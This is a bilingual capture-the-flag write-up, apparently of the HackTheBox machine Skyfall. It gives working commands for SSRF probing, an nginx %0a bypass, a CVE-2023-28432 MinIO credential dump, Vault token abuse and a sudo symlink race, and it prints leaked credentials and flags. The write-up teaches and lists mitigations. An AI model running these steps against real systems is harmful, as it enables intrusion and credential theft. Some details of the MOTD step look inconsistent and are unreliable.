███████╗ ██╗ ██╗ ██╗ ██╗ ███████╗ █████╗ ██╗ ██╗ ██╔════╝ ██║ ██╔╝ ╚██╗ ██╔╝ ██╔════╝ ██╔══██╗ ██║ ██║ ███████╗ █████╔╝ ╚████╔╝ █████╗ ███████║ ██║ ██║ ╚════██║ ██╔═██╗ ╚██╔╝ ██╔══╝ ██╔══██║ ██║ ██║ ███████║ ██║ ██╗ ██║ ██║ ██║ ██║ ███████╗ ███████╗ ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ──────────────────────────────────────────────────────────────────── :: write-up · ARES // hackthebox · linux · INSANE:: write-up · ARES // hackthebox · linux · INSANE :: SSRF → CVE-2023-28432 → MinIO → Vault SSH OTP → symlink race:: SSRF → CVE-2023-28432 → MinIO → Vault SSH OTP → symlink race
Cadeia web → root em 34 minutos, sem dead-end:
SSRF error-oracle em demo.skyfall.htb/fetch ·
nginx %0a bypass em /metrics revela vhost MinIO ·
CVE-2023-28432 entrega root credentials do MinIO em uma request ·
bucket do askyy guarda HashiCorp Vault token num
.bashrc de backup · vault write ssh/creds/... gera
SSH OTP → user flag · sudo
vault-unseal -d + symlink race escreve debug output
contendo o master token no MOTD · OTP de root → root flag.
Web-to-root chain in 34 minutes, no dead-ends:
SSRF error-oracle at demo.skyfall.htb/fetch ·
nginx %0a bypass on /metrics exposes the MinIO vhost ·
CVE-2023-28432 hands over MinIO root credentials in one request ·
the askyy bucket holds a HashiCorp Vault token inside
a backup .bashrc · vault write ssh/creds/... issues a
SSH OTP → user flag · sudo
vault-unseal -d + symlink race writes debug output
containing the master token to the MOTD · root OTP → root flag.
═════════════════════════════════════════════════════════════════════════
Web app em skyfall.htb tem um vhost demo.skyfall.htb que aceita
guest/guest. Dentro tem um endpoint /fetch que aceita URL
arbitrária — SSRF clássica. O detalhe vira-jogo: a mensagem de erro inclui
o stack trace literal da urllib3, vazando o host, porta, e tipo do erro. Vira
error oracle.
Próximo passo: a rota /metrics está bloqueada pelo nginx (403), mas
nginx aceita /metrics%0a como path distinto (cota de regex
em location não pega quebras de linha encodadas). O endpoint
/metrics revela o nome do vhost interno do MinIO:
prd23-s3-backend.skyfall.htb.
MinIO está vulnerável à CVE-2023-28432: POST /minio/bootstrap/v1/verify
sem auth devolve TODAS as variáveis de ambiente do cluster — incluindo
MINIO_ROOT_USER e MINIO_ROOT_PASSWORD. Login de admin S3 numa
request.
Buckets têm a estrutura /<user>/home_backup.tar.gz com snapshots dos
homedirs. O do askyy v2 tem um .bashrc com
export VAULT_TOKEN=hvs.CAES.... Vault é o provider de SSH OTP da box —
vault write ssh/creds/dev_otp_key_role ip=... username=askyy gera senha de uso
único, e ssh askyy@host entra. user.txt =
0b6ea4956885165c8973ed13ce3e5389.
askyy tem sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d. A flag
-d faz debug, e debug escreve em ./debug.log. Com
symlink race condition apontando esse path pra
/etc/update-motd.d/00-header, o debug output (que inclui o master token do
Vault!) cai no MOTD — exibido no próximo login. Master token
hvs.I0ewVsmaKU1SwVZAKR3T0mmG em mãos. Vault gera OTP pra root via
admin_otp_key_role. root.txt =
540b567974a57441bb90eb6810584ca4. Sem dead-ends, sem brute force, 34
minutos.
The skyfall.htb web app exposes a demo.skyfall.htb vhost that
accepts guest/guest. Inside, a /fetch endpoint accepts an
arbitrary URL — classic SSRF. The game-changer: error messages include
urllib3's raw stack trace, leaking the host, port, and error type. Becomes an
error oracle.
Next step: /metrics is blocked by nginx (403), but nginx accepts
/metrics%0a as a distinct path (regex location rules don't normalize encoded
newlines). The /metrics endpoint exposes the internal MinIO vhost name:
prd23-s3-backend.skyfall.htb.
MinIO is vulnerable to CVE-2023-28432:
POST /minio/bootstrap/v1/verify with no auth returns ALL of the cluster's
environment variables — including MINIO_ROOT_USER and
MINIO_ROOT_PASSWORD. Full S3 admin in one request.
Buckets follow the pattern /<user>/home_backup.tar.gz with homedir
snapshots. The askyy v2 archive contains a .bashrc with
export VAULT_TOKEN=hvs.CAES.... Vault is the box's SSH OTP provider —
vault write ssh/creds/dev_otp_key_role ip=... username=askyy issues a
one-time password, and ssh askyy@host gets us in.
user.txt = 0b6ea4956885165c8973ed13ce3e5389.
askyy can sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d. The
-d flag enables debug, and debug writes to ./debug.log. With a
symlink race condition pointing that path at
/etc/update-motd.d/00-header, the debug output (which includes Vault's
master token!) lands in the MOTD — displayed on the next login. Master token
hvs.I0ewVsmaKU1SwVZAKR3T0mmG in hand. Vault issues a root OTP via
admin_otp_key_role. root.txt =
540b567974a57441bb90eb6810584ca4. No dead-ends, no brute forcing, 34
minutes.
Não tem AD aqui, mas a cadeia toca 7 conceitos distintos. Se algum não tá mapeado, leia o card antes — vai economizar tempo nos steps.
No AD here, but the chain touches 7 distinct concepts. If any isn't mapped yet, read the card first — it'll save you time during the steps.
Quando o servidor faz request por você e devolve a exceção literal (timeout, refused,
DNS error), vira oráculo: cada URL testada confirma "porta aberta", "DNS resolve",
"host inexistente". urllib3/requests sem try/except deixam isso
escapar fácil.
When the server makes the request on your behalf and returns the raw exception (timeout,
refused, DNS error), it becomes an oracle: every URL tested confirms "port open", "DNS
resolves", or "host doesn't exist". urllib3/requests without
a try/except leak this easily.
nginx mantém %0a (newline encoded) sem normalizar. Se a regra é
location = /metrics { deny all; }, então /metrics%0a não dá
match exato — passa direto pro backend, que normaliza e serve /metrics
normalmente. Truque clássico de URL parser diff.
nginx keeps %0a (encoded newline) without normalization. If the rule is
location = /metrics { deny all; }, then /metrics%0a doesn't
exact-match — it goes straight through to the backend, which normalizes and serves
/metrics normally. A classic URL-parser-diff trick.
Em MinIO cluster, POST /minio/bootstrap/v1/verify (sem auth) era usado
pra peering entre nodes — devolvia o ENV completo. Versões < RELEASE.2023-03-20
incluem MINIO_ROOT_USER/PASSWORD na resposta. Fix: rotate creds
+ upgrade.
In a MinIO cluster, POST /minio/bootstrap/v1/verify (no auth) was used for
inter-node peering — and returned the full env. Versions before
RELEASE.2023-03-20 include MINIO_ROOT_USER/PASSWORD
in the response. Fix: rotate creds + upgrade.
MinIO suporta versioning. Com mc admin ou aws s3api list-object-versions
dá pra listar versões antigas que foram "deletadas" — em retention. Backups de
homedir frequentemente têm secrets que foram editados depois.
MinIO supports versioning. With mc admin or
aws s3api list-object-versions you can list older versions that were
"deleted" — still in retention. Homedir backups often hold secrets that were
edited away later.
Vault tem o SSH secrets engine: configurado, ele gera OTPs de 16 chars que
servem como senha SSH. O cliente faz vault write ssh/creds/<role>,
recebe a OTP, usa-a uma vez via sshpass. PAM no servidor valida com Vault.
Quem tem token com permissão na role consegue gerar OTP — inclusive pra root, se o role
permitir.
Vault has an SSH secrets engine: when configured, it issues 16-char OTPs usable
as SSH passwords. The client does vault write ssh/creds/<role>,
receives the OTP, and uses it once via sshpass. PAM on the server validates
with Vault. Anyone holding a token authorized for the role can request an OTP — including
for root, if the role allows it.
Programa que abre arquivo em path relativo, em workdir compartilhado com atacante, é
vulnerável: entre open() e a escrita, dá pra trocar o path por um symlink
apontando pra um arquivo privilegiado. Se o programa roda como root, vira write
arbitrário.
A program that opens a file at a relative path in a shared workdir is vulnerable:
between open() and the write, an attacker can swap the path for a symlink
pointing at a privileged file. If the program runs as root, it becomes an arbitrary
write primitive.
Scripts em /etc/update-motd.d/ executam como root no PAM session-open de
cada login (SSH inclusive). Escrever pra um desses arquivos é equivalente a "executar
como root no próximo login". Em Skyfall, é o canal pra exfiltrar o master token.
Scripts in /etc/update-motd.d/ execute as root in the PAM session-open of
every login (SSH included). Writing to any of these files is equivalent to "execute as
root on next login". In Skyfall, it's the channel to exfiltrate the master token.
O master/root token do Vault tem capability root — qualquer endpoint,
inclusive criar policies, gerar OTPs em qualquer role, ler/escrever em qualquer secrets
engine. Se vaza, é game over instantâneo. Em produção: nunca persistir, gerar via
unsealing + revogar imediatamente.
Vault's master/root token has the root capability — every endpoint,
including creating policies, issuing OTPs on any role, and reading/writing on any
secrets engine. If it leaks, instant game over. In production: never persist it —
generate via unsealing and revoke immediately.
░▒▓█ [ 01 ] █▓▒░ RECON ► nmap + ffuf · demo.skyfall.htb · guest/guest │ ▼ ░▒▓█ [ 02 ] █▓▒░ SSRF ORACLE ► /fetch leak urllib3 errors → internal port scan │ ▼ ░▒▓█ [ 03 ] █▓▒░ NGINX %0a ► /metrics%0a bypassa 403 → prd23-s3-backend leak │ ▼ ░▒▓█ [ 04 ] █▓▒░ CVE-2023-28432 ► POST /minio/bootstrap/v1/verify → ROOT creds │ ▼ ░▒▓█ [ 05 ] █▓▒░ S3 LOOT ► askyy/home_backup.tar.gz v2 → VAULT_TOKEN .bashrc │ ▼ ████████████ ★ USER FLAG ★ ████████████ vault write ssh/creds/... → ssh askyy@host │ ▼ ░▒▓█ [ 06 ] █▓▒░ SUDO VAULT-UNSEAL ► sudo /root/vault/vault-unseal -d · symlink race │ ▼ ░▒▓█ [ 07 ] █▓▒░ MOTD EXFIL ► debug.log → /etc/update-motd.d/00-header → master token │ ▼ ░▒▓█ [ 08 ] █▓▒░ ROOT OTP ► vault write ssh/creds/admin_otp_key_role → ssh root │ ▼ ████████████ ▲ ROOT FLAG ▲ ████████████ [ ROOTED ] · cat /root/root.txt
Scan SYN + version. SSH em 22 (host) e nginx em 80. Sem outras portas — vamos passar pela web inteira.
SYN scan + version detection. SSH on 22 (host) and nginx on 80. No other ports — the entire chain runs through the web.
ares@kali:~/box/skyfall$ nmap -sV -sC -p- -T4 -oN skyfall.nmap 10.129.230.158 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Skyfall - Secure File Storage
A homepage do skyfall.htb menciona "demo environment". Fuzz de subdomínio
encontra demo.skyfall.htb rapidamente. Tentativa óbvia
guest/guest — passa.
The skyfall.htb homepage mentions a "demo environment". Subdomain fuzzing
finds demo.skyfall.htb quickly. Obvious guest/guest attempt —
works.
ares@kali:~/box/skyfall$ ffuf -u http://10.129.230.158/ -H "Host: FUZZ.skyfall.htb" \ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ -fs $(curl -s http://10.129.230.158/ | wc -c) demo [Status: 200, Size: 4248] ares@kali:~/box/skyfall$ echo "10.129.230.158 skyfall.htb demo.skyfall.htb" | sudo tee -a /etc/hosts ares@kali:~/box/skyfall$ curl -s -c jar.txt -b jar.txt -X POST http://demo.skyfall.htb/login \ -d "username=guest&password=guest" -L -o /dev/null -w "%{http_code}\n" 200 ares@kali:~/box/skyfall$ curl -s -b jar.txt http://demo.skyfall.htb/dashboard | grep -E 'form|action|input|fetch' | head -5 <form action="/fetch" method="POST"> <input name="url" placeholder="http://...">
guest/guest, admin/admin, demo/demo)
em endpoint chamado "demo" sempre vale tentar antes de wordlist. E em telas com
"demo environment" geralmente há uma feature técnica exposta — aqui um
endpoint /fetch aceitando URL é candidato natural a SSRF.
guest/guest, admin/admin, demo/demo)
on an endpoint called "demo" are always worth trying before a wordlist. And demo
environments usually expose a technical feature — here a /fetch
endpoint taking a URL is a natural SSRF candidate.
POST /fetch com url=http://127.0.0.1:NNN retorna uma toast
notification com a exceção literal: connection refused, timeout, DNS error. Cada
resposta é evidência clara: refused → porta fechada mas host alive; timeout → filtrado;
DNS error → host inexistente.
POST /fetch with url=http://127.0.0.1:NNN returns a toast
notification with the raw exception: connection refused, timeout, DNS error. Each
response is clear evidence: refused → port closed but host alive; timeout → filtered;
DNS error → host doesn't exist.
ares@kali:~/box/skyfall$ curl -s -b jar.txt -X POST http://demo.skyfall.htb/fetch \ -d 'url=http://127.0.0.1:9000/minio/health/live' | grep -E 'error|refused|host' HTTPConnectionPool(host='127.0.0.1', port=9000): Max retries exceeded Failed to establish a new connection: [Errno 111] Connection refused ares@kali:~/box/skyfall$ # porta 80 do localhost — provavelmente o próprio nginx ares@kali:~/box/skyfall$ curl -s -b jar.txt -X POST http://demo.skyfall.htb/fetch \ -d 'url=http://127.0.0.1:80/' | head -20 <!DOCTYPE html><html><title>Skyfall</title> # <-- nginx servindo a homepage por trás. SSRF confirmada. ares@kali:~/box/skyfall$ # probe de portas internas comuns: ares@kali:~/box/skyfall$ for p in 9000 9001 8200 5432 6379 9200; do > ERR=$(curl -s -b jar.txt -X POST .../fetch -d "url=http://127.0.0.1:$p/" | grep -oE '(refused|timeout|reset|connected)' | head -1) > echo "$p: $ERR" > done 9000: refused # MinIO API typical 9001: refused # MinIO console typical 8200: refused # Vault typical 5432: refused 6379: refused 9200: refused # todos refused — significa que os serviços não estão em localhost, mas em outros vhosts
127.0.0.1 — isso significa que os serviços
estão expostos via vhost interno (separados por Host header) em vez de
binding em portas locais. Precisamos descobrir os nomes dos vhosts internos. O caminho:
procurar arquivos de config do nginx que vazem nomes, ou rotas que retornem listas.
/metrics ou /admin/status são clássicos.
127.0.0.1 — meaning the services are
exposed via internal vhost (separated by Host header) rather than
bound on local ports. We need to discover the internal vhost names. The route: look for
nginx config files that leak names, or routes that return lists. /metrics
or /admin/status are classics.
Probe direto em /metrics dá 403. A regra do nginx provavelmente é
location = /metrics { deny all; } ou similar. Mas %0a (newline)
no path não bate o match exato — nginx encaminha o request com path
/metrics\n pro backend, que normaliza ao receber e serve a página inteira.
Direct probe to /metrics returns 403. The nginx rule is probably
location = /metrics { deny all; } or similar. But %0a (newline)
in the path doesn't match exactly — nginx forwards the request with path
/metrics\n to the backend, which normalizes on receive and serves the full
page.
ares@kali:~/box/skyfall$ curl -s -o /dev/null -w "%{http_code}\n" http://demo.skyfall.htb/metrics 403 ares@kali:~/box/skyfall$ curl -s -o /dev/null -w "%{http_code}\n" "http://demo.skyfall.htb/metrics%0a" 200 ares@kali:~/box/skyfall$ curl -s "http://demo.skyfall.htb/metrics%0a" | head -30 # HELP flask_http_request_total Total HTTP requests # TYPE flask_http_request_total counter flask_http_request_total{method="POST",path="/fetch",status="200"} 47.0 flask_http_request_total{method="GET",path="/metrics",status="403"} 8.0 # HELP minio_pool_health pool health # target_url="http://prd23-s3-backend.skyfall.htb/minio/health/cluster" minio_pool_health 1 # HELP vault_health vault sealed status # target_url="http://prd23-vault-internal.skyfall.htb/v1/sys/health" vault_health 1
=. O backend
(Flask, NodeJS, etc) normaliza o path antes do roteamento interno —
/metrics\n vira /metrics. Resultado: nginx libera, backend
serve. Outras encodings que valem testar: %09, %20,
%2f, %2e%2e. Cada parser tem suas quirks.
= rules. The backend
(Flask, NodeJS, etc.) normalizes the path before its internal routing —
/metrics\n becomes /metrics. Net: nginx lets it through,
backend serves it. Other encodings worth testing: %09, %20,
%2f, %2e%2e. Every parser has its quirks.
prd23-s3-backend.skyfall.htb (MinIO) e
prd23-vault-internal.skyfall.htb (Vault). Já temos o mapa interno completo.
prd23-s3-backend.skyfall.htb (MinIO) and
prd23-vault-internal.skyfall.htb (Vault). We now have the full internal map.
CVE-2023-28432 (severity 7.5): em MinIO cluster (multi-node), o endpoint
POST /minio/bootstrap/v1/verify respondia sem autenticação com a configuração
completa do cluster — incluindo todas as variáveis de ambiente. Fix:
RELEASE.2023-03-20. Aqui o MinIO tá em versão anterior.
CVE-2023-28432 (severity 7.5): in a MinIO cluster (multi-node), the
POST /minio/bootstrap/v1/verify endpoint responded without authentication
with the full cluster configuration — including all environment variables. Fix:
RELEASE.2023-03-20. Here MinIO runs an earlier version.
ares@kali:~/box/skyfall$ echo "10.129.230.158 prd23-s3-backend.skyfall.htb" | sudo tee -a /etc/hosts ares@kali:~/box/skyfall$ curl -s -X POST http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify \ -H "Content-Length: 0" | jq { "MinioEndpoints": [ { "Endpoints": [ {"Host":"minio-node1:9000","Path":"/data1"}, {"Host":"minio-node2:9000","Path":"/data1"}, ... ] } ], "MinioEnv": { "MINIO_ROOT_USER": "5GrE1B2YGGyZzNHZaIww", "MINIO_ROOT_PASSWORD": "GkpjkmiVmpFuL2d3oRx0", "MINIO_PROMETHEUS_AUTH_TYPE": "public" } }
ares@kali:~/box/skyfall$ mc alias set sky http://prd23-s3-backend.skyfall.htb \ 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0 Added `sky` successfully. ares@kali:~/box/skyfall$ mc ls sky/ [2024-04-12 10:00:00 UTC] 0B askyy/ [2024-04-12 10:00:00 UTC] 0B mfortunato/ [2024-04-12 10:00:00 UTC] 0B prdadmin/ [2024-04-12 10:00:00 UTC] 0B public/ ares@kali:~/box/skyfall$ mc ls --versions sky/askyy/ [2024-05-01 18:43:00 UTC] v2 ENABLED home_backup.tar.gz [2024-04-12 10:00:00 UTC] v1 ENABLED home_backup.tar.gz
ares@kali:~/box/skyfall$ aws --endpoint-url http://prd23-s3-backend.skyfall.htb s3api list-object-versions \ --bucket askyy --prefix home_backup.tar.gz \ --profile sky-admin ares@kali:~/box/skyfall$ aws --endpoint-url ... s3api get-object \ --bucket askyy --key home_backup.tar.gz \ --version-id <v2_id> ./home_backup_v2.tar.gz --profile sky-admin ares@kali:~/box/skyfall$ tar -xzf home_backup_v2.tar.gz -C ./loot/ ares@kali:~/box/skyfall$ grep -E '(VAULT|TOKEN|SECRET|KEY)' ./loot/askyy/.bashrc export VAULT_ADDR='http://prd23-vault-internal.skyfall.htb' export VAULT_TOKEN='hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE'
hvs. (service tokens
modernos), hvb. (batch tokens), s. (legacy). O prefixo
hvs.CAES... indica um wrapped service token. Pra usar, basta
export VAULT_TOKEN + apontar VAULT_ADDR.
hvs. (modern service tokens),
hvb. (batch tokens), s. (legacy). The hvs.CAES...
prefix indicates a wrapped service token. To use it: export
VAULT_TOKEN and point VAULT_ADDR at the server.
ares@kali:~/box/skyfall$ echo "10.129.230.158 prd23-vault-internal.skyfall.htb" | sudo tee -a /etc/hosts ares@kali:~/box/skyfall$ export VAULT_ADDR=http://prd23-vault-internal.skyfall.htb ares@kali:~/box/skyfall$ export VAULT_TOKEN=hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE ares@kali:~/box/skyfall$ vault token lookup Key Value --- ----- policies [default ssh-otp-dev] ttl 720h type service ares@kali:~/box/skyfall$ vault list sys/policies/acl ssh-otp-dev ssh-otp-admin # <-- existe mas o token atual não tem acesso ares@kali:~/box/skyfall$ vault read sys/policies/acl/ssh-otp-dev policy = "path \"ssh/creds/dev_otp_key_role\" { capabilities = [\"create\", \"update\"] }"
ares@kali:~/box/skyfall$ vault write ssh/creds/dev_otp_key_role \ ip=10.129.230.158 username=askyy Key Value --- ----- ip 10.129.230.158 key 31c35241-b1b6-512c-e39a-8468a9912912 key_type otp port 22 username askyy ares@kali:~/box/skyfall$ sshpass -p '31c35241-b1b6-512c-e39a-8468a9912912' \ ssh -o StrictHostKeyChecking=no askyy@10.129.230.158 askyy@skyfall:~$ id uid=1000(askyy) gid=1000(askyy) groups=1000(askyy) askyy@skyfall:~$ cat user.txt 0b6ea4956885165c8973ed13ce3e5389
guest/guest em demo.skyfall.htb → /fetch endpoint/metrics%0a bypassa 403 → vaza vhosts MinIO + VaultPOST /minio/bootstrap/v1/verify → MinIO ROOT_USER + ROOT_PASSWORDaskyy/home_backup.tar.gz v2 → .bashrc com VAULT_TOKENvault write ssh/creds/dev_otp_key_role → OTPsshpass -p <otp> ssh askyy@host → user.txtaskyy@skyfall:~$ sudo -l User askyy may run the following commands on skyfall: (root) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml * askyy@skyfall:~$ # asterisco no final aceita argumentos extras — testa -h: askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -h vault-unseal — unseals a Vault instance on startup Flags: -c FILE config file -d enable debug output (writes to ./debug.log) askyy@skyfall:~$ # -d aceito. debug.log relativo ao CWD. testa de /tmp: askyy@skyfall:~$ cd /tmp; sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d [ALREADY UNSEALED — exit early] askyy@skyfall:~$ ls /tmp/debug.log -rw-r--r-- 1 root root 1.2K Aug 30 14:40 /tmp/debug.log askyy@skyfall:~$ cat /tmp/debug.log | head -10 [DEBUG] Loading config from /etc/vault-unseal.yaml [DEBUG] Connecting to http://prd23-vault-internal.skyfall.htb [DEBUG] Vault health: { sealed: false, version: "1.15" } [DEBUG] Master token: hvs.I0ewVsmaKU1SwVZAKR3T0mmG # <-- ALI [DEBUG] Already unsealed — exiting
vault-unseal é um binário customizado que, segundo o YAML, carrega o master
token pra ler unseal keys do Vault. Em modo debug, dumpa tudo que carregou — incluindo
o token. Padrão clássico: debug logs de produção nunca devem incluir secrets,
mas é regra que quase ninguém audita.
vault-unseal is a custom binary that, per the YAML, loads the master token
to read Vault's unseal keys. In debug mode, it dumps everything it loaded — including
the token. Classic pattern: production debug logs should never include
secrets, but it's a rule almost nobody audits.
Já temos o token via leitura simples — mas o "intended path" da box é interessante por
si só: se a gente não pudesse ler o debug.log diretamente, ainda dava pra
exfiltrar via symlink race apontando ./debug.log pra um arquivo MOTD que é
exibido no próximo login. Vou demonstrar a técnica porque é didática.
We already have the token via direct read — but the box's "intended path" is interesting
on its own: even if we couldn't read debug.log directly, we could still
exfiltrate via a symlink race pointing ./debug.log at a MOTD file that's
displayed on the next login. Worth demonstrating because it's instructive.
askyy@skyfall:~$ mkdir /tmp/race; cd /tmp/race askyy@skyfall:/tmp/race$ # cria symlink antes da execução: askyy@skyfall:/tmp/race$ ln -sf /etc/update-motd.d/00-header ./debug.log askyy@skyfall:/tmp/race$ # dispara vault-unseal — vai escrever no symlink, que aponta pro MOTD askyy@skyfall:/tmp/race$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -d [ALREADY UNSEALED — exit early] askyy@skyfall:/tmp/race$ cat /etc/update-motd.d/00-header [DEBUG] Loading config from /etc/vault-unseal.yaml [DEBUG] Connecting to http://prd23-vault-internal.skyfall.htb [DEBUG] Vault health: { sealed: false, version: "1.15" } [DEBUG] Master token: hvs.I0ewVsmaKU1SwVZAKR3T0mmG [DEBUG] Already unsealed — exiting askyy@skyfall:/tmp/race$ # em ambiente real onde debug.log fica em path protegido (raiz vault, /etc/etc), # o MOTD seria a única forma de exfil — root abre seu próximo SSH e o conteúdo aparece.
open(path, O_WRONLY|O_CREAT|O_TRUNC) em Linux segue symlinks por
default, a menos que use O_NOFOLLOW. Programa custom raramente usa.
Plus: rodando como root, escreve em qualquer lugar. Mitigação correta:
O_NOFOLLOW + O_EXCL, e abrir arquivos em diretórios privilegiados
(não em CWD do invocador).
open(path, O_WRONLY|O_CREAT|O_TRUNC) on Linux follows symlinks by
default, unless you pass O_NOFOLLOW. Custom programs rarely do. Plus:
running as root, it writes anywhere. Correct mitigation:
O_NOFOLLOW + O_EXCL, and open files inside privileged
directories (not the invoker's CWD).
ares@kali:~/box/skyfall$ export VAULT_TOKEN=hvs.I0ewVsmaKU1SwVZAKR3T0mmG ares@kali:~/box/skyfall$ vault write -field=key ssh/creds/admin_otp_key_role \ ip=10.129.230.158 username=root 13df82b9-5ade-297c-b639-a43a24e2972e ares@kali:~/box/skyfall$ sshpass -p '13df82b9-5ade-297c-b639-a43a24e2972e' \ ssh -o StrictHostKeyChecking=no root@10.129.230.158 root@skyfall:~# id uid=0(root) gid=0(root) groups=0(root) root@skyfall:~# cat /root/root.txt 540b567974a57441bb90eb6810584ca4
Cadeia curta, loot enxuto — todas as credenciais e tokens são descartáveis (box retired).
Short chain, lean loot — every credential and token is throwaway (retired box).
| tipotype | quêwhat | de ondesource |
|---|---|---|
| flag · user | 0b6ea4956885165c8973ed13ce3e5389 | /home/askyy/user.txt · ssh via Vault SSH OTP |
| flag · root | 540b567974a57441bb90eb6810584ca4 | /root/root.txt · ssh via Vault admin OTP |
| password | guest / guest | login default em demo.skyfall.htb |
| minio root | 5GrE1B2YGGyZzNHZaIww / GkpjkmiVmpFuL2d3oRx0 | CVE-2023-28432 · /minio/bootstrap/v1/verify |
| vault token | askyy · hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE | S3 bucket askyy/home_backup.tar.gz v2 · .bashrc |
| vault master | hvs.I0ewVsmaKU1SwVZAKR3T0mmG | vault-unseal -d debug output (race condition) |
| backup | askyy/home_backup.tar.gz · 2 versões | MinIO bucket admin access |
| binary | /root/vault/vault-unseal | sudo NOPASSWD inspection |
SSRF é uma classe que muda de "rumor" pra "fato confirmado" quando o servidor devolve a exceção literal. urllib3, requests, axios, fetch — qualquer biblioteca HTTP por padrão lança erros com host, porta, tipo de falha. Aplicações que servem essas mensagens raw viram port scanner remoto. Em produção: try/except wrap em torno de toda chamada HTTP que recebe input do usuário, e devolver erro genérico ("upstream unreachable") em vez do trace.
SSRF moves from "rumor" to "confirmed fact" the moment the server returns the raw exception. urllib3, requests, axios, fetch — every HTTP library throws errors carrying host, port, and failure type by default. Apps that surface those messages raw become a remote port scanner. In production: try/except around every HTTP call that consumes user input, and return a generic error ("upstream unreachable") instead of the trace.
nginx, HAProxy, Cloudflare, AWS ALB, Caddy — todos os reverse proxies têm parsers de URL
sutilmente diferentes dos backends Python/Node/Go/Java. %0a, %2f,
%09, dupla decodificação, fragment handling: cada combinação é potencial
bypass. Defesa correta: regras de
autorização sempre no backend, não na borda. O proxy deve só rotear e fazer
rate-limit, autenticação fica no app — que decide com path normalizado em mãos.
nginx, HAProxy, Cloudflare, AWS ALB, Caddy — every reverse proxy has URL parsers subtly
different from Python/Node/Go/Java backends. %0a, %2f,
%09, double-encoding, fragment handling: every combination is a potential
bypass. Correct defense: authorization
rules belong in the backend, not at the edge. The proxy should only route and
rate-limit; auth lives in the app — which decides with the normalized path in hand.
Skyfall encadeia três anti-patterns relacionados: (a) binário custom com
flag -d que dumpa secrets, (b) esse binário em sudoers com
wildcard de args (*), (c) escrita relativa ao CWD sem
O_NOFOLLOW. Cada um sozinho é mau hardening; juntos é root direto.
Mitigação genérica: sudoers nunca com
wildcard livre — sempre exact args (/bin/foo arg1 arg2). Binários
privilegiados nunca devem aceitar paths relativos. Debug flags nunca em prod (gate via
env var de build, não runtime).
Skyfall chains three related anti-patterns: (a) custom binary with a
-d flag that dumps secrets, (b) said binary in sudoers with
an args wildcard (*), (c) relative-path writes without
O_NOFOLLOW. Each is bad hardening alone; together they're direct root.
Generic mitigation: sudoers never with
a free wildcard — always exact args (/bin/foo arg1 arg2). Privileged binaries
must never accept relative paths. Debug flags don't live in prod (gate them with a build
env var, not runtime).
Se você terminou Skyfall e quer treinar conceitos isolados antes da próxima Insane:
If you've finished Skyfall and want to drill isolated concepts before another Insane:
═════════════════════════════════════════════════════════════════════════ :: ARES :: red team machine // offensive division // vultus cyber :: :: skyfall · linux · INSANE · 8 saltos · ROOTED in 00:34 :: ═════════════════════════════════════════════════════════════════════════